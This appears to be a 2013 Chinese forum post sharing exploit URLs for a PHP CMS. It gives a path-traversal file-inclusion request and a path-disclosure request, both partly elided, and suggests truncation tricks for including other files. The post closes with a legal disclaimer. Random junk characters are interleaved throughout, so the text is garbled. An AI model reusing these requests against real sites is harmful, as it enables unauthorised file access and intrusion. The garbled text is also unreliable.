我就不贴代码了，有兴趣的自己跟一下吧，说不定可以发现更多。
+ E5 R* ]" `! K; T5 j/ B) N6 z, V( h* \% @
Exp: http://www.php0day.com/api.php?o ... efile=../../../fuck
! X+ i' A# o6 i2 H
' j! D. _* Z5 g" H R#包含根目录的fuck.cache.php 又一鸡肋。包含其他文件自己截断吧，看你运气了。7 V0 B( Q+ l4 `+ \7 \
0 y! {4 n+ b7 @& IExp: http://www.php0day.com/phpcms/mo ... l.php?author=b4dboy
# L R! L+ C3 |& u5 e8 ?. `* u# v) M2 Z3 e+ B1 k$ u- l
#暴路径* Z: k1 @8 z: M& J; G" u
9 g# h. B( |+ }
注：请遵守国家相关法律，请勿非法入侵，产生任何后果自己负责。* {$ G& ~ m8 Z: Y6 p
) A" S/ u1 r! a+ L" ?/ w, z- r4 y3 l5 x
/ o0 l$ s( C2 Y+ F4 L+1 |
发表于 2013-4-4 17:28:59
收藏
支持
反对